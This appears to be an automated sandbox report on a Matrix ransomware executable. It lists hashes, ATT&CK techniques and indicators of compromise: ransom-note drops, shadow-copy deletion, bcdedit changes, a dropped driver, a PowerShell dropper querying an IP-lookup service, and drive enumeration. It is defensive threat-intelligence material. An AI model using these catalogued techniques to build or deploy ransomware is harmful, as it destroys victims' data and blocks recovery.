matrix | bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2

Analysis

max time kernel
151s
max time network
16s
platform
windows7_x64
resource
win7
submitted
08-10-2020 15:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
Size

1.1MB
MD5

837d96ee65e177210ad77e0b7a3e2ee1
SHA1

9f96a1acbcf006bf9cc61119dc76ca47adf63066
SHA256

bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2
SHA512

3369cccd102ef223a3d3bcb8b7cd11bc409cdb63bbbce33c8bbd05e6b52bc32b2a9c3ff29202e8107da6eab04e61fab0a7645631821d37bc3120dfe86bc26a62

Score

10^/10

ransomware evasion upx persistence matrix discovery

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://myexternalip.com/raw

Signatures

Matrix Ransomware 495 IoCs

Targeted ransomware with information collection and encryption functionality.

ransomware matrix

Processes:

bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe

description	ioc	process
File created	C:\Program Files\Microsoft Office\Document Themes 14\Theme Effects\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\MEDIA\OFFICE14\BULLETS\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\include\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Users\Public\Pictures\Sample Pictures\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\BrightOrange\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Users\Admin\Favorites\Links for United States\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Java\jre7\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\RedistList\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\META-INF\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Users\All Users\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Oasis\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\BrightYellow\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\access\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Office14\Document Parts\1033\14\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Office14\BORDERS\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Templates\1033\Access\DataType\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ky\LC_MESSAGES\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Templates\1033\Access\WSS\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Users\All Users\Package Cache\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\packages\Patch\x64\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Users\All Users\Microsoft\Crypto\RSA\S-1-5-18\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.update\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\VideoLAN\VLC\lua\extensions\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files (x86)\Google\Update\1.3.35.452\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Office14\QUERIES\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Java\jre7\lib\management\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Office14\Groove\Sounds\People\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\BabyBlue\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Office14\AccessWeb\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Office14\PUBBA\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.zh_CN_5.5.0.165303\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Office14\Bibliography\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Installer\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Office14\Groove\ToolData\groove.net\Calendar\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\GrayCheck\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Optional\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Office14\Groove\ToolData\groove.net\Welcome Tool\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\locale\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Oasis\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Office14\OutlookAutoDiscover\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Templates\1033\ONENOTE\14\Stationery\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\FieldTypePreview\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\Microsoft Office\Office14\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

1844 bcdedit.exe
2024 bcdedit.exe
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 656 powershell.exe
Drops file in Drivers directory 1 IoCs

Processes:

ZG413Grv64.exe

description ioc process

File created C:\Windows\system32\Drivers\PROCEXP152.SYS ZG413Grv64.exe
Executes dropped EXE 3 IoCs

Processes:

NWt29TaW.exeZG413Grv.exeZG413Grv64.exe

pid process

1812 NWt29TaW.exe
1820 ZG413Grv.exe
1792 ZG413Grv64.exe

pid	process
1844	bcdedit.exe
2024	bcdedit.exe

flow	pid	process
6	656	powershell.exe

description	ioc	process
File created	C:\Windows\system32\Drivers\PROCEXP152.SYS	ZG413Grv64.exe

pid	process
1812	NWt29TaW.exe
1820	ZG413Grv.exe
1792	ZG413Grv64.exe

Modifies extensions of user files 2 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\RegisterUse.tiff	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Users\Admin\Pictures\NewStart.tiff	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe

Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\ZG413Grv.exe	upx
C:\Users\Admin\AppData\Local\Temp\ZG413Grv.exe	upx
C:\Users\Admin\AppData\Local\Temp\ZG413Grv.exe	upx

Loads dropped DLL 4 IoCs

Processes:

bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.execmd.exeZG413Grv.exe

pid	process
1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
1108	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
1824	cmd.exe
1820	ZG413Grv.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

takeown.exe

pid process

1708 takeown.exe

pid	process
1708	takeown.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exeZG413Grv64.exe

description	ioc	process
File opened (read-only)	\??\Z:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\Y:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\F:	ZG413Grv64.exe
File opened (read-only)	\??\W:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\S:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\J:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\H:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\E:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\L:	ZG413Grv64.exe
File opened (read-only)	\??\P:	ZG413Grv64.exe
File opened (read-only)	\??\V:	ZG413Grv64.exe
File opened (read-only)	\??\P:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\K:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\V:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\U:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\M:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\F:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\A:	ZG413Grv64.exe
File opened (read-only)	\??\B:	ZG413Grv64.exe
File opened (read-only)	\??\M:	ZG413Grv64.exe
File opened (read-only)	\??\O:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\L:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\G:	ZG413Grv64.exe
File opened (read-only)	\??\Q:	ZG413Grv64.exe
File opened (read-only)	\??\T:	ZG413Grv64.exe
File opened (read-only)	\??\U:	ZG413Grv64.exe
File opened (read-only)	\??\W:	ZG413Grv64.exe
File opened (read-only)	\??\X:	ZG413Grv64.exe
File opened (read-only)	\??\Y:	ZG413Grv64.exe
File opened (read-only)	\??\I:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\H:	ZG413Grv64.exe
File opened (read-only)	\??\N:	ZG413Grv64.exe
File opened (read-only)	\??\Z:	ZG413Grv64.exe
File opened (read-only)	\??\X:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\T:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\N:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\G:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\E:	ZG413Grv64.exe
File opened (read-only)	\??\O:	ZG413Grv64.exe
File opened (read-only)	\??\S:	ZG413Grv64.exe
File opened (read-only)	\??\R:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\Q:	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened (read-only)	\??\I:	ZG413Grv64.exe
File opened (read-only)	\??\J:	ZG413Grv64.exe
File opened (read-only)	\??\K:	ZG413Grv64.exe
File opened (read-only)	\??\R:	ZG413Grv64.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

5 myexternalip.com

flow	ioc
5	myexternalip.com

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Modifies service 2 TTPs 11 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

ZG413Grv64.exevssvc.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\PROCEXP152\Type = "1"	ZG413Grv64.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\PROCEXP152\ErrorControl = "1"	ZG413Grv64.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\PROCEXP152\Start = "3"	ZG413Grv64.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PROCEXP152	ZG413Grv64.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\PROCEXP152\ImagePath = "\\??\\C:\\Windows\\system32\\Drivers\\PROCEXP152.SYS"	ZG413Grv64.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\PROCEXP152	ZG413Grv64.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\HMC7e7et.bmp"	reg.exe

Drops file in Program Files directory 7637 IoCs

Processes:

bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe

description	ioc	process
File created	C:\Program Files\Microsoft Sync Framework\v1.0\Runtime\x64\resources\1033\#README_ANN#.rtf	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.di.nl_ja_4.4.0.v20140623020002.jar	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Scoresbysund	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\CLIPART\PUB60COR\FD00297_.WMF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0105286.WMF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\CLIPART\PUB60COR\SO00192_.WMF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Java\jre7\lib\ext\sunjce_provider.jar	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0151041.WMF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-uisupport.xml	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0186360.WMF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\720x480icongraphic.png	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\button_left_disable.gif	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Port_Moresby	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Nassau	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.mbeanbrowser_5.5.0.165303.jar	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\CLIPART\PUB60COR\SO02276_.WMF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\Templates\1033\Access\Marketing Projects.accdt	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\Office14\Bibliography\Style\GostName.XSL	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00234_.WMF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01173_.WMF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00267_.WMF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\CLIPART\PUB60COR\SO00191_.WMF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationRight_ButtonGraphic.png	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.ui.zh_CN_5.5.0.165303.jar	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\CLIPART\PUB60COR\J0293832.WMF	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\Office14\1033\POWERPNT_F_COL.HXK	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\validation.js	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.nl_zh_4.4.0.v20140623020002.jar	bdd9dbc6d72ecc5ea0a063a1fc99e414a4cff177ec8726da0011134d8589c7d2.exe
